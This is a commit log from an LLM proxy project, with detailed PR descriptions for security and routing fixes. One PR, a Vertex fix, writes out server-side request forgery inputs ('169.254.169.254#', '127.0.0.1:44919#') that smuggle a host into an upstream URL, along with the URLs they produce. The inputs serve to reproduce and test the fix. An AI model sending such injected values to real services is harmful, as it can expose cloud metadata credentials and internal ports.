Commit graph

1597 commits

Author SHA1 Message Date
Tejas Chopra
27b4e2d147
fix(proxy): enforce HEADROOM_PROXY_TOKEN on WebSocket handshakes (#3305)
## Description

Closes #3281.

The security gate is registered with `@app.middleware("http")`
(`proxy/server.py`), which is a Starlette `BaseHTTPMiddleware` — and
that class hands any scope whose type is not `http` straight to the
wrapped app. WebSocket connections therefore never reached it, so
**every `app.websocket(...)` route accepted unauthenticated callers even
with `HEADROOM_PROXY_TOKEN` configured.**

Those routes are not incidental:

- `/v1/responses`, `/v1/codex/responses`, `/backend-api/responses`,
`/backend-api/codex/responses`
- `/v1/live`, `/v1/codex/live`, `/backend-api/live`,
`/backend-api/codex/live`

Both families are registered **unconditionally**
(`providers/proxy_routes.py:207` and `:230`), and they relay to the
upstream provider using the operator's own credentials. `/v1/responses`
is served on both transports, which makes the shape of the bug concrete:
the POST was authenticated, the upgrade on the very same path was not.

The existing WebSocket origin check (`_is_allowed_websocket_origin`) is
not a substitute — it defends against browser-driven cross-site
connections, and a non-browser client simply omits `Origin`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `WebSocketAuthMiddleware`, a raw ASGI middleware, beside the
existing `WebSocketProjectPrefixMiddleware` (the codebase already uses
that idiom for the WebSocket scope). Registered after the HTTP gate so
it runs outermost — an unauthenticated handshake is refused before any
project-prefix or routing work.
- It applies exactly the HTTP gate's rule: loopback exempt
(`is_loopback_host`, including the `None` → loopback case for
UDS/TestClient), credential from `Authorization: Bearer` or
`X-Headroom-Proxy-Token`, `hmac.compare_digest` against a pre-encoded
token.
- Extracted the credential-reading rule into one shared
`read_proxy_token` used by both transports, so they cannot drift.
- Rejection sends `websocket.close` with **1008** *before* accept, after
receiving `websocket.connect` — that is what refuses the upgrade on the
wire rather than accepting and dropping it.

Deliberately **not** done: no query-string credential. Browsers cannot
set headers on a WebSocket, but these routes serve programmatic clients
that can, and a token in a URL lands in access logs and history.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (CI-pinned `ruff` 0.16.3)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
$ pytest tests/test_proxy_hardening.py
27 passed in 5.17s

$ pytest tests/test_proxy/
267 passed in 86.03s

$ pytest tests/ -k "hardening or websocket or ws or loopback or auth or security"
852 passed, 18 skipped, 11420 deselected in 83.95s

$ uvx ruff@0.16.3 check headroom/proxy/server.py tests/test_proxy_hardening.py
All checks passed!
$ mypy headroom/proxy/server.py
Success: no issues found in 1 source file
```

Tests are in two layers, deliberately:

**Unit (8)** — the middleware driven directly over ASGI. Asserted at
this layer because a pre-accept close surfaces through `TestClient` as a
bare `AttributeError`, indistinguishable from any other handshake
failure, so an exception-shape assertion would pass for the wrong
reason. These assert the downstream app is never invoked and that a
`websocket.close` with code 1008 was sent.

**Integration (4)** — that the middleware is actually wired into
`create_app`, asserted via the security property itself: the route
handler must never run for an unauthenticated handshake. Verified by
removing only the registration line — both `/v1/responses` and
`/v1/live` then fail:

```text
FAILED ...test_unauthenticated_handshake_never_reaches_the_handler[/v1/responses]
FAILED ...test_unauthenticated_handshake_never_reaches_the_handler[/v1/live]
2 failed, 2 passed
```

The 2 that still pass are the authenticated-path invariants, which must
hold either way.

## Real Behavior Proof

- **Environment:** macOS arm64, Python 3.12.13, `main` @ 0.36.5.
- **Exact command / steps:** build the real app with `proxy_token` set,
spy on both WebSocket route handlers, then attempt a handshake from a
non-loopback client (`203.0.113.5`, TEST-NET-3) with and without a
credential.
- **Observed result:** before — the handler ran for an unauthenticated
handshake on both route families. After — the handler is never reached
without a credential, and is reached with either accepted header form.
Loopback and no-token-configured both stay open, unchanged.
- **Not tested:** no live upstream WebSocket session end to end; the
upstream relay itself is unchanged by this PR. Not exercised against a
real browser client, which cannot send the header — see the query-string
note above.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** **no** for the default
deployment. With no `HEADROOM_PROXY_TOKEN` the middleware is a
passthrough, so nothing gains a new challenge. Behaviour changes only
where a token is already configured — where the WebSocket routes were
meant to be gated and silently were not.
- **Kill switch / disable path:** unset `HEADROOM_PROXY_TOKEN` (restores
the previous, open behaviour on both transports).
- **Unsafe override required:** none.
- **Qualification impact:** none.
- **Rollback path:** revert this commit; it is one middleware class plus
its registration.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-27 15:19:15 +05:30
Abhay Singh
7c0b886004
fix(vertex): validate location region to close a path-parameter SSRF (#3304)
## Description

Closes #3280.

`vertex_target_for_location` interpolated the user-controlled `location`
path segment straight into the upstream **hostname** with no validation:

```python
return f"https://{location}-aiplatform.googleapis.com"
```

`location` comes from the Vertex route path
`/{api_version}/projects/{project}/locations/{location}/publishers/...`,
so it is fully attacker-controlled. A `location` of `169.254.169.254#`
(decoded from a percent-encoded `%23` in the path) produces:

```
https://169.254.169.254#-aiplatform.googleapis.com
```

which an HTTP client parses as host `169.254.169.254` with the remainder
treated as a URL fragment — a server-side request forgery (CWE-918) to
the cloud metadata endpoint. A `host:port` payload (`127.0.0.1:44919#`)
reaches an arbitrary internal port the same way. I confirmed the pre-fix
formula against the reported PoC:

```
'169.254.169.254#'  -> 'https://169.254.169.254#-aiplatform.googleapis.com'  host='169.254.169.254' port=None
'127.0.0.1:44919#'  -> 'https://127.0.0.1:44919#-aiplatform.googleapis.com'  host='127.0.0.1'      port=44919
```

The fix validates `location` against a strict GCP region shape
(`^[a-z0-9]+(?:-[a-z0-9]+)*$`) before interpolation. Anything that is
not a well-formed region — including port, path, userinfo, and
fragment-delimiter payloads — falls back to the default public
`aiplatform.googleapis.com` endpoint, which can never resolve to an
attacker-chosen host. Real regions (`us-central1`, `europe-west4`, ...),
`global`, empty, and an explicitly configured gateway target are all
unaffected.

Root-cause input validation on the pure routing formula fully closes the
reported vector; it is the same place every Vertex route derives its
target from, so there is one choke point rather than a per-route guard.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/providers/vertex/runtime.py`: added `_VERTEX_REGION_RE`
(anchored `^[a-z0-9]+(?:-[a-z0-9]+)*$`) and `_VERTEX_GLOBAL_API_URL`.
`vertex_target_for_location` now falls back to the public endpoint for
any `location` that is empty, `global`, or not a well-formed region, and
only interpolates a validated region into the hostname.
- `tests/test_provider_vertex_runtime.py`: added a parametrized
region-acceptance test, a parametrized SSRF-payload test
(fragment/host:port/path/userinfo/underscore/uppercase/malformed-hyphen
— asserts the fallback endpoint **and** that the parsed host is
`aiplatform.googleapis.com` with no port), and a test that an explicit
gateway target is still returned verbatim.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
tests/test_provider_vertex_runtime.py tests/test_provider_proxy_targets.py tests/test_vertex_claude_compression.py  ->  39 passed
uvx ruff@0.16.2 check headroom/providers/vertex/runtime.py tests/test_provider_vertex_runtime.py  ->  All checks passed!
uvx mypy@1.20.2 headroom/providers/vertex/runtime.py  ->  Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.16.2 and mypy 1.20.2 via uvx.
- Exact command / steps: reproduced the SSRF against the pre-fix formula
(the two lines above, showing `urlsplit(...).hostname` = the injected
`169.254.169.254` / `127.0.0.1:44919`); applied the fix and re-ran,
confirming both fall back to `https://aiplatform.googleapis.com` with
host `aiplatform.googleapis.com`. Red/green: with the fix reverted (`git
stash`) the 11 SSRF-payload cases fail; restored, all 27 vertex-runtime
tests pass.
- Observed result: a malicious `location` can no longer place a host,
port, path, or fragment delimiter into the upstream hostname; legitimate
regions and configured gateways are unchanged.
- Not tested: a live end-to-end request against a real metadata endpoint
(would require a network SSRF target); the URL-construction root cause
is covered by unit tests, including host/port parsing of the constructed
URL.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — no feature flag or rollout channel
involved.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: only for malformed `location` values,
which previously produced a broken/attacker-controlled host and now
resolve to the public Vertex endpoint. Valid regions, `global`, empty,
and configured gateways are byte-for-byte unchanged.
- Kill switch / disable path: N/A (no config surface added).
- Unsafe override required: no.
- Qualification impact: none.
- Rollback path: revert this commit; `location` goes back to being
interpolated unvalidated (reintroducing the SSRF).

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (N/A: no
user-facing surface change for valid input)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

The region allowlist is intentionally strict (lowercase alphanumeric
groups joined by single hyphens), matching the shape of every GCP Vertex
region; `global`/empty keep their existing public-endpoint behavior. If
a defense-in-depth `is_safe_upstream_url` check at the route layer is
also wanted (as the issue suggests), that can follow as a separate
change — this PR fixes the root cause at the single point where the
hostname is built.
2026-08-27 15:02:32 +05:30
Tejas Chopra
8884d87378
fix(transforms): stop compression garbling mixed subagent output (#3286)
## The report

A user's model called compressed subagent output "too garbled to use"
and burned CCR retrievals to reconstruct it — **not** because it needed
more context. One retrieval returned nothing but the Claude Code harness
sanitizer banner, reported as `original_item_count: 33,
compressed_item_count: 25`.

Root-cause chain (verified by reproduction): the harness prepends a
bracket-delimited banner (`[harness: ... you.]` — exactly 33
whitespace-delimited words) and neutralizes `<` → `<\`. Headroom's
mixed-content splitter typed the banner as JSON (bracket balance, no
validation) → SmartCrusher couldn't parse it → the fallback chain fed it
to lossy Kompress → Kompress word-dropped the banner 33→25 and stored it
behind a retrieval hash. Meanwhile tabular sections rendered as
quote-wrapped JSON-string blobs with `\n` as two-character escapes, and
`ensure_ascii=True` boundaries turned the output's unicode (`→ └ ✓`)
into `\uXXXX` soup. The model reasonably concluded the output was
garbled.

## Fixes

1. **`split_into_sections` validates JSON before typing a block
`JSON_ARRAY`** — same validation its own mixed-content gate
(`_has_valid_json_block_with_text`) has always used. Tag-protection
placeholders, which self-isolated only by accident of that bug
(`{{HEADROOM_TAG_N}}` bracket-balances), are now isolated explicitly via
a new `isolate=` parameter fed by the router; contiguous prose fragments
re-coalesce so the `\n\n` reassembly stops doubling newlines in
uncompressed prose.
2. **Kompress gets a real floor: `min_input_words = 64`**
(config-tunable, clamped at the historical 10), applied on the
in-process, batch, apply, and remote paths. Below it, lossy
word-dropping is a net loss — the retrieval marker alone is ~20 words —
and short blocks are disproportionately instruction-like.
3. **The mixed path unwraps SmartCrusher's whole-array CSV render** when
it comes back as a bare JSON string, splicing raw readable lines into
the text instead of a quoted escape blob.
4. **`ensure_ascii=False` at model-visible boundaries**: MCP
retrieve/stats responses and the audit-safe splice reserialization
(which now also matches serde_json's non-escaping behavior).
5. **Kompress honesty**: the marker says `N words compressed to M`
(shared `ccr_retrieval_marker` helper, unit-tested), and
`store_kompress_in_ccr` no longer writes word counts into the store's
*item count* fields — token counts already carry the size story.

The upstream trigger (the harness's `<` → `<\` neutralization corrupting
JSON semantics) is not Headroom's to fix, but with #1 and #2 the banner
now passes through byte-intact and nothing lossy touches it.

## Testing

- New `tests/test_garbled_compression_fixes.py` (12 tests) pins every
fix, including an end-to-end router pass over a reconstructed
harness-sanitized fixture asserting the banner survives byte-identical
and no `\uXXXX` appears.
- Existing small-fixture kompress/router tests updated to set
`min_input_words=10` explicitly (they test other mechanics; fixtures sit
under the new production floor by design).
- Affected sweep (`-k "compress or ccr or crusher or router or mixed or
kompress or hermes"`, ~2.9k tests): green apart from order-dependent
flakes that shift identity between runs (deepseek tokenizer `AutoConfig`
import, hermes/proxy-ccr) — each passes standalone and in direct
combination with the new tests; the full CI shards are the authoritative
check.
- ruff 0.16.3 `check` + `format --check` clean.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01EWKCmcH47hvvoQ35wftXhE

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-27 13:22:26 +05:30
Tejas Chopra
4f2e70a75c
fix(proxy/anthropic): authenticate and attribute buffered Copilot turns (#3277)
## Description

Follow-up to #3258. That PR points the Anthropic target at the Copilot
host so Claude models stop 401'ing. This PR fixes two things on the
Anthropic path that were only ever correct on the **streaming** arm, and
which #3258 makes reachable for real Copilot traffic.

Copilot serves Claude models from its Anthropic surface (`/v1/messages`)
on the same host as its OpenAI surface, so the resolved Anthropic target
can be a Copilot host with no per-request `upstream_base_url` involved.
That is the case both arms below get wrong.

**1. The buffered arm sent no Copilot credential.**
`apply_copilot_api_auth` is keyed on the upstream URL and was applied
only by `_stream_response` (`handlers/streaming.py:1205`). The
buffered/non-stream arm sends through `_retry_request`
(`proxy/server.py:2132`), which forwards headers untouched — so the
request carried whatever the client happened to send and none of
Headroom's own credential handling: no minted or refreshed token (the
one `wrap vscode` explicitly hands the proxy), no
`Copilot-Integration-Id` default. A client token that went stale
mid-session 401'd here while the streaming path recovered. That arm is
not an edge case — it is the CCR `stream:true → buffered stream:false`
flip, and Claude Code's non-stream retry.

**2. Copilot turns were attributed to "anthropic".**
`build_copilot_upstream_url` is the only place
`mark_request_routed_to_copilot` fires (`copilot_auth.py:1288`), and
`emit_request_outcome` relabels the provider off that flag
(`proxy/outcome.py:419`). The buffered arm built its URL by f-string,
skipping the chokepoint, so those turns showed as `anthropic` on the
dashboard. The URL produced is byte-identical either way — this is
attribution only, not routing. `proxy/cost.py` has no Copilot-specific
branch, so pricing is unaffected.

Both changes are inert off the Copilot path: `apply_copilot_api_auth`
returns the headers unchanged for a non-Copilot URL, and
`build_copilot_upstream_url` only joins base + path there.

Independent of #3258 and based on `main` — the gaps are reachable today
by setting `ANTHROPIC_TARGET_API_URL` to a Copilot host.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `handlers/anthropic.py`: build the default-target URL through
`build_copilot_upstream_url` instead of an f-string, so the
routed-to-Copilot flag is set for attribution.
- `handlers/anthropic.py`: apply `apply_copilot_api_auth` on the
buffered arm before the upstream send. Mutated in place, matching the
accept-header handling directly above — the closures below capture
`headers`, and the CCR continuation rebuilds its own header set from it,
so the continuation inherits the auth too.
- New test pinning both at the `_retry_request` seam: URL built, headers
as they go on the wire, and the flag as it stands at send time.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`, CI-pinned 0.16.3)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

Both new assertions fail on `main` with exactly the symptoms described,
and pass with the fix:

```text
$ git stash && pytest tests/test_proxy/test_anthropic_copilot_upstream_auth.py
tests/.../test_buffered_turn_to_copilot_is_authenticated
E   KeyError: 'authorization'
tests/.../test_buffered_turn_to_copilot_is_flagged_for_attribution
E   assert False is True
==================== 2 failed, 2 passed, 1 warning in 3.38s ====================

$ git stash pop && pytest tests/test_proxy/test_anthropic_copilot_upstream_auth.py
========================= 4 passed, 1 warning in 2.88s =========================
```

The two that pass on `main` are the invariants this must not break (path
`/v1` preserved per #2409, non-Copilot target untouched).

Regression run over the affected surface:

```text
$ pytest tests/ -k "copilot or anthropic or outcome or provider_registry or proxy_routes or upstream"
= 3 failed, 1111 passed, 33 skipped, 11112 deselected in 152.98s =
```

The 3 failures are
`tests/test_proxy/test_openai_transport_path_prefix.py` and are
**pre-existing on `main`** (verified by running that file on a clean
checkout — same 3 fail). Untouched by this PR, which is Anthropic-path
only.

```text
$ uvx ruff@0.16.3 check headroom/proxy/handlers/anthropic.py tests/test_proxy/test_anthropic_copilot_upstream_auth.py
All checks passed!
$ mypy headroom/proxy/handlers/anthropic.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- **Environment:** macOS arm64, Python 3.12.13, `main` @ 0.36.5.
- **Exact command / steps:** drive `POST /v1/messages` through the real
app (`create_app` + `TestClient`, non-stream body) with the Anthropic
target set to `https://api.githubcopilot.com`, intercepting
`_retry_request` to capture what was about to go on the wire. Copilot
token minting stubbed to a fixed value.
- **Observed result:** before — no `Authorization` header at all on the
buffered arm, and `request_routed_to_copilot()` is `False` at send time.
After — `Authorization: Bearer <minted>` plus `Copilot-Integration-Id`
and `Editor-Version`, flag `True`, URL unchanged at
`https://api.githubcopilot.com/v1/messages`. With a non-Copilot target,
no credential is invented and the flag stays `False`.
- **Not tested:** against live `api.githubcopilot.com` — no Copilot
subscription in this environment. Token minting is stubbed, so the
refresh path itself is exercised only to the provider boundary.
Anthropic **batch** endpoints (`/v1/messages/batches`,
`handlers/anthropic.py:5066+`) still build against
`self.ANTHROPIC_API_URL` and will point at Copilot, which does not serve
them — pre-existing and out of scope here — filed as #3278.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none — no flag or channel involved.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** no, for every non-Copilot
upstream: the URL is byte-identical and `apply_copilot_api_auth`
early-returns for non-Copilot URLs. Behavior changes only when the
Anthropic target is a Copilot host, which is the broken case.
- **Kill switch / disable path:** set `ANTHROPIC_TARGET_API_URL` to a
non-Copilot host; both paths go inert.
- **Unsafe override required:** none.
- **Qualification impact:** none.
- **Rollback path:** revert this commit — it is self-contained to one
file plus a new test.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 23:44:03 +05:30
Abhay Singh
1e448b5503
fix(providers): route Claude requests to Copilot when the OpenAI target is a Copilot host (#3258)
## Description

Through `headroom wrap vscode` / `wrap copilot --subscription`, GitHub
Copilot **GPT** models work but **Claude** models fail with `Invalid
bearer token` (issue #3247). The logs tell the story:

```text
# GPT — works:
event=outbound_request  path=https://api.githubcopilot.com/chat/completions  status=200

# Claude — fails:
event=outbound_request  path=https://api.anthropic.com/v1/messages           status=401
```

GitHub Copilot serves **both** surfaces from the same host: its OpenAI
surface (`/chat/completions`, `/responses`) and its Anthropic surface
for Claude models (`/v1/messages`) — `build_copilot_upstream_url`
already documents and handles this. But `resolve_api_targets` resolves
each provider target independently: when the Copilot flow points the
**OpenAI** target at a Copilot host (so GPT works), the **Anthropic**
target is left at its default `https://api.anthropic.com`. Claude-model
requests are therefore forwarded to the real Anthropic API carrying the
GitHub Copilot bearer, which Anthropic rejects with `Invalid bearer
token`.

## Fix

In `resolve_api_targets`, when the resolved OpenAI target is a Copilot
upstream host **and no explicit Anthropic target was configured**,
default the Anthropic target to that same Copilot host. Claude requests
then reach `https://api.githubcopilot.com/v1/messages` — the surface
that serves them, where the Copilot bearer is valid. An explicit
`ANTHROPIC_TARGET_API_URL` always wins (only a `None` override is filled
in), and non-Copilot OpenAI targets are untouched, so direct-Anthropic
setups are unaffected.

Reproduction:

```python
resolve_api_targets(ProviderApiOverrides(openai="https://api.githubcopilot.com", anthropic=None, ...))
# BEFORE: targets.anthropic == "https://api.anthropic.com"   -> Copilot bearer 401s there
# AFTER:  targets.anthropic == "https://api.githubcopilot.com"
```

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/providers/registry.py`: `resolve_api_targets` now fills a
`None` Anthropic override with the OpenAI target when that target is a
Copilot host (`is_copilot_upstream_url`). Explicit overrides and
non-Copilot targets are unchanged.
- `tests/test_provider_registry.py`: added three tests — Copilot OpenAI
target routes Anthropic to Copilot; an explicit Anthropic override wins;
a non-Copilot OpenAI target leaves the Anthropic default alone.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
tests/test_provider_registry.py tests/test_provider_registry_extended.py tests/test_banner_upstream_targets.py  ->  37 passed in 12.11s
(the new Copilot test FAILS on pre-fix code — verified via git stash)
uvx ruff@0.16.2 check headroom/providers/registry.py tests/test_provider_registry.py  ->  All checks passed!
uvx mypy@1.20.2 headroom/providers/registry.py  ->  Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.16.2 and mypy 1.20.2 via uvx.
- Exact command / steps: `resolve_api_targets` with
`openai="https://api.githubcopilot.com"` (and the
`api.business.githubcopilot.com` variant) and `anthropic=None` returned
`anthropic="https://api.anthropic.com"` before the fix and the Copilot
host after; an explicit `anthropic="https://api.anthropic.com"` is
preserved; `openai="https://api.openai.com"` leaves `anthropic` at the
default.
- Observed result: Claude-model requests now resolve to the Copilot host
that serves them; OpenAI/direct-Anthropic behavior is unchanged.
- Not tested: no live macOS/VS Code Copilot round trip
(environment-specific); the target-resolution seam that decides the
upstream host is exercised directly. `is_copilot_upstream_url` already
recognizes the github.com Copilot hosts (verified).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is upstream target resolution
in the provider registry, not a rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: only the broken case changes — a
Copilot OpenAI target with no Anthropic override now sends Claude to
Copilot instead of 401ing against api.anthropic.com. Explicit Anthropic
targets and non-Copilot OpenAI targets are byte-for-byte unchanged.
- Kill switch / disable path: set `ANTHROPIC_TARGET_API_URL` explicitly
to opt out of the default.
- Unsafe override required: no.
- Qualification impact: none for non-Copilot deployments.
- Rollback path: revert this PR.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (N/A:
internal behavior)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

Fixes the routing/auth mismatch at the resolution layer so it applies
uniformly across the Copilot config paths (`wrap vscode`, `wrap copilot
--subscription`) that set the OpenAI target to a Copilot host. If a
specific deploy sets neither target to a Copilot host (relying solely on
path-based passthrough routing for OpenAI), configuring
`ANTHROPIC_TARGET_API_URL` to the Copilot host remains the explicit
escape hatch.
2026-08-26 22:43:11 +05:30
Tejas Chopra
d12ea50122
feat(proxy): unify proxy and sidecar compression on one session engine (#3271)
> Replaces #3263 (same changeset, squashed to one conventional commit —
after the base PRs squash-merged, the stacked branch's commit history
could not pass the commitlint gate against main, and force-pushing the
original branch was not permitted). #3261 and #3270 (which replaced
#3262) are merged; this is the last piece of the stack.

## Goal

One brain. The cache-management tier — freeze computation, Zone-1 byte
swap, cached-prefix overlay — previously existed twice: inline in the
proxy request handlers, and (as of #3270) in the `/v1/compress` sidecar
path. This PR extracts it into **`headroom/proxy/session_engine.py`**,
invoked by BOTH. Every future cache-management fix lands in both modes
by construction.

## Design

**`prepare_turn(...)` → `TurnPrep`** — freeze +
`mark_stable_from_messages` + `apply_cached`, with two *deliberately
different, documented* freeze policies:
- `FREEZE_POLICY_CONFIRMED_CLAMP`: `min(tracker_frozen, cache_count)` —
never freeze past provider-confirmed (the #327 posture). The Anthropic
proxy passes its already-composed tracker/strict-override value,
reproducing the previous `min()` byte-for-byte.
- `FREEZE_POLICY_REPLAYABLE`: `max(cache_count, explicit)` — freeze
everything locally replayable, because whatever was previously returned
*is* the provider's cache contract; recompressing it (even "better")
busts.

**`finalize_turn(...)` → `TurnFinal`** — the byte-identical
cached-prefix replay (`overlay_cached_prefix`) + conditional token
recount hook.

Run as a **strictly behavior-preserving extraction**: the bar was every
pre-existing test passing *unmodified*, and it held.

## What migrated

| Path | Status |
|---|---|
| `/v1/compress` sidecar turn |  engine (REPLAYABLE); lock, executor
offload, savings accounting, record_returned unchanged |
| `anthropic.py` token-mode pre-block + overlay |  engine
(CONFIRMED_CLAMP); background compression, cold-start fast pass,
`_cold_recompact_active` skip preserved |
| `openai.py` proxy token-mode pre-block + overlay |  engine
(REPLAYABLE — formula-identical to the old bare `compute_frozen_count`);
the added `mark_stable` call means the freeze now survives entry-level
LRU eviction (test-pinned); the router's `_frozen_verdicts` remains the
boundary-message protection |
| `openai.py` cache-mode branch | ⏸ keeps bare `apply_cached` — cache
mode keeps the latest observation mutable by design |

Also fixed for BOTH handlers: overlay replay now runs under backpressure
(shedding it busted every gated session's prompt cache exactly at peak
load), and the inflation guard exempts replayed prefixes.

## Hardening (max-effort review, all applied)

`/v1/usage` applies on the executor under the per-session turn lock with
a timed acquire (503 `session_busy`); registry eviction skips sessions
mid-turn; `peek()` is expiry-aware; silent fallbacks log warnings;
RequestOutcome recorded on session 503s.

## Testing

- `tests/test_session_engine.py`: 13 direct unit tests — both policies,
explicit-pin precedence, REPLAYABLE-without-pin ≡ bare
`compute_frozen_count`, overlay fires/doesn't, recount only on replay,
freeze-survives-entry-eviction.
- Parity bar: full pre-existing suites pass unmodified — cache-stability
(Anthropic + OpenAI), overlay, backpressure (incl.
replay-under-saturation regression), cold-start fast pass, cache-mode,
session-mode byte-stability, compress-API, org-scale, registry. Full
local suite: 11k+ green.
- ruff check/format clean (CI's ruff 0.16.3).

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01EWKCmcH47hvvoQ35wftXhE

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-26 15:57:31 +05:30
Tejas Chopra
4fa88026d9
feat(compress): session-aware /v1/compress (sidecar mode) + /v1/usage relay (#3270)
> Replaces #3262 (same changeset, squashed to one conventional commit —
the stacked branch's history could not pass commitlint after #3261's
squash-merge broke ancestry, and force-pushing the original branch was
not permitted). All review findings from the two max-effort reviews are
already incorporated; #3261 is merged.

## Why

Gateways that own routing (e.g. Kong as the upstream caller) can't use
Headroom's proxy path, and the stateless `/v1/compress` pushes all
byte-replay bookkeeping onto the caller. This PR moves that state into
the endpoint: **the caller sends the raw conversation + a session id
every turn, forwards the returned bytes verbatim, and gets a
byte-identical prefix — provider prompt cache preserved, no forwarding
through Headroom.**

## Design

- **Session pre-work** mirrors the proxy's Zone 1: content-addressed
swap of previously-computed compressed bytes, then freeze the **entire
locally-replayable prefix** (`compute_frozen_count`).
- **Freeze posture deliberately differs from the proxy's `min(tracker,
cache)`**: in sidecar mode, whatever this endpoint previously returned
*is* the provider's cache contract — recompressing an already-returned
message (even into a smaller form) is a bust. Over-freezing only forgoes
tail compression; it can never bust. (A test caught exactly this:
recompression drift produced a smaller form, and
`overlay_cached_prefix`'s non-inflation guard then couldn't repair it.)
- **`PrefixCacheTracker.record_returned()`** — the sidecar equivalent of
"last forwarded", captured at return time because whatever is returned
is what the caller forwards.
- **`POST /v1/usage`** (same loopback exposure policy): the caller
relays the provider's usage block; `update_from_response` makes freeze
decisions provider-confirmed. Optional — skipping it degrades freeze
precision, never correctness.
- Sessions are NUL-namespaced (`compress\x00<id>`, unspoofable via HTTP
headers); the registry's TTL/LRU lifecycle from #3261 applies
automatically. No session id ⇒ stateless contract byte-for-byte
unchanged.

## Hardening (from two max-effort code reviews, all applied)

- `compress_user_messages` + session_id → 400 (user-message rewrites are
not content-addressed → guaranteed later bust).
- Session-mode timeout / lock-busy → 503 `compression_timeout` /
`session_busy` with retry semantics, instead of failing open with raw
bytes (desync bust).
- Header-based session ids gated behind
`HEADROOM_COMPRESS_SESSION_FROM_HEADER` (default off).
- `/v1/usage` validation: unknown/expired session → 404; both cache
fields absent → 400; single-present-zero → `{"applied": false, "reason":
"no_cache_signal"}` (never wipes freeze state).
- Warm-turn savings recomputed from the raw payload (honest
`tokens_saved`), all CPU work in the executor under a per-session turn
lock.

## Caller contract (Kong)

1. Send raw history + `config.session_id` (or `x-headroom-session-id`
with the env gate on) every turn.
2. Forward the returned `messages` to the provider **verbatim**.
3. Optionally relay the provider's usage block to `/v1/usage`.

## Testing

20 cases in `tests/test_compress_session_mode.py`: stateless regression
+ no state leakage, invalid-id rejection, 2-turn and 3-turn whole-prefix
byte-stability, tracker-loss stability, spoof-resistance, header gating,
lock-busy 503s, usage validation and no-signal handling,
unknown/expired-session 404, TTL-eviction fail-open, explicit
`frozen_message_count` precedence. Plus the full local suite green (11k+
tests).

## Phase 2 (follow-up)

#3263 migrates the proxy request path onto this same session engine so
both modes share one compression/state codepath.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01EWKCmcH47hvvoQ35wftXhE

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-26 15:34:23 +05:30
Tejas Chopra
826b600c9b
feat(proxy): self-limiting session state for the compression-cache registry (#3261)
## Problem

The per-session `CompressionCache` registry (the map that replays
previously-compressed messages byte-identically so the provider prefix
cache stays warm) had no lifetime management:

- Idle/dead sessions lived forever until the hardcoded 500-session cap
was hit.
- At capacity, eviction dropped the oldest-**created** quarter — which
could wipe the busiest long-lived session (busting every one of its
prefixes at once) while dead sessions survived.
- Neither the cap nor any TTL was tunable, which blocks gateway
deployments (e.g. Kong sidecar/pool) fanning many concurrent sessions
into one process.

## Changes

- **Idle-TTL sweep**: sessions idle longer than
`HEADROOM_COMPRESSION_CACHE_TTL_SECONDS` (default 3900s) are evicted by
a lazy sweep, at most once per 60s, piggybacked on
`_get_compression_cache` — same pattern as
`PrefixCacheTrackerRegistry._maybe_cleanup`, no background task.
